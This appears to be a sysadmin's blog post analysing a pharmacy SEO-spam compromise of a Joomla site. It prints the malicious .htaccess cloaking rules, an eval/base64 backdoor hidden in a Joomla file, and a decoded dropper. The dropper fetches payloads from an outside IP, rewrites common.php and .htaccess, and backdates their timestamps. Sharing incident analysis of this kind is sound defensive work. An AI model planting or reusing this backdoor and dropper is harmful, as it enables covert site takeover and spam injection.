One of the more CSI type things I get to do in my job is figure out how servers are compromised. Last week I was tasked with figuring out why a site was listing Pharmaceuticals in Google results.
I’ve dealt alot with hacked and compromised servers, but have never come across one that only affected search results.
Basically, 3 modified files kept appearing on the server, a modified .htaccess file in the root, common.php and coockies.txt.
What we discovered was the following in the .htaccess file:
# Apache search queries statistic module
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$ /common.php [L]
</IfModule>
What this means is that any search bot will get redirected through common.php. This file had a bunch of base_64 encoded PHP that modified page meta descriptions and titles. This is outlined pretty well here: http://redleg-redleg.blogspot.ca/2011/02/pharmacy-hack.html.
However, we deleted these files and modified the .htaccess file back to it’s original state, but the files kept coming back. So the big question was how?
I did a search through the Joomla source for base64_encode/decode and found a ton of files. Most of them were part of modules or core, but I did find a few that looked a little odd. For example:
/**GnPvQdChUa*/if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { /**LsWvRlYzUw*/eval(base64_decode($_REQUEST["mod_content"])); /**SeDuMsFkMx*/exit();/**BoJeXkTwXa*/ }
Basically what this does is run whatever is passed in the $_REQUEST[“mod_content”] variable. Pretty nasty since it means that any base64_encoded string will be run as is.
At 6:22 on a sunny Saturday morning, I got a notification from one of my monitoring scripts that common.php, that attack file, was back! I checked the logs and sure enough, here is what the request was:
/components/com_users/users.php?img_id=1f3870be274f6c49b3e31a0c6728957f&mod_content=aWYgKGV4dGVuc2lvbl9sb2FkZWQoImN1cmwiKSl7JGNo yadda yadda base64 encoded string.
That param decodes to a lovely PHP script:
if ( extension_loaded( "curl" ) ) {
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/door.txt" );
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
$door = curl_exec( $ch );
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp.txt" );
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
$inc_code = curl_exec( $ch );
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp2.txt" );
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
$inc_ht = curl_exec( $ch );
} else {
$door = @file_get_contents( "http://209.190.20.51/door.txt" );
$inc_code = @file_get_contents( "http://209.190.20.51/include_code_temp.txt" );
$inc_ht = @file_get_contents( "http://209.190.20.51/include_code_temp2.txt" );
}if ( is_file( "/home/user/public_html/index.html" ) ) {
$index = "/home/user/public_html/index.html";
}if ( is_file( "/home/user/public_html/index.htm" ) ) {
$index = "/home/user/public_html/index.htm";
}if ( is_file( "/home/user/public_html/.htaccess" ) ) {
$index = "/home/user/public_html/.htaccess";
}if ( is_file( "/home/user/public_html/favicon.ico" ) ) {
$index = "/home/user/public_html/favicon.ico";
}if ( is_file( "/home/user/public_html/index.php" ) ) {
$index = "/home/user/public_html/index.php";
}if ( is_file( "/home/user/public_html/common.php" ) ) {
$index = "/home/user/public_html/common.php";
}$time = filemtime( $index );
$chmod = substr( sprintf( "%o", fileperms( $index ) ), -4 );
$chmod = trim( $chmod );
$chmod = intval( $chmod, 8 );
@unlink( "/home/user/public_html/common.php" );
$fp = fopen( "/home/user/public_html/common.php", "w" );
fputs( $fp, $door );
fclose( $fp );
@chmod( "/home/user/public_html/common.php", $chmod );
touch( "/home/user/public_html/common.php", $time );
$htaccess = str_replace( "#####INCLUDE#####", $inc_ht, $inc_code );
@unlink( "/home/user/public_html/.htaccess" );
$fp = fopen( "/home/user/public_html/.htaccess", "w" );
fputs( $fp, $htaccess );
fclose( $fp );
@chmod( "/home/user/public_html/.htaccess", $chmod );
touch( "/home/user/public_html/.htaccess", $time );
This little script is what recreates all the spammy files.
So there it is, a URL param that run’s CURL requests to setup spam files on a server.
Wanted to record this so that anyone else having this issue has somewhere to look.
TTFN.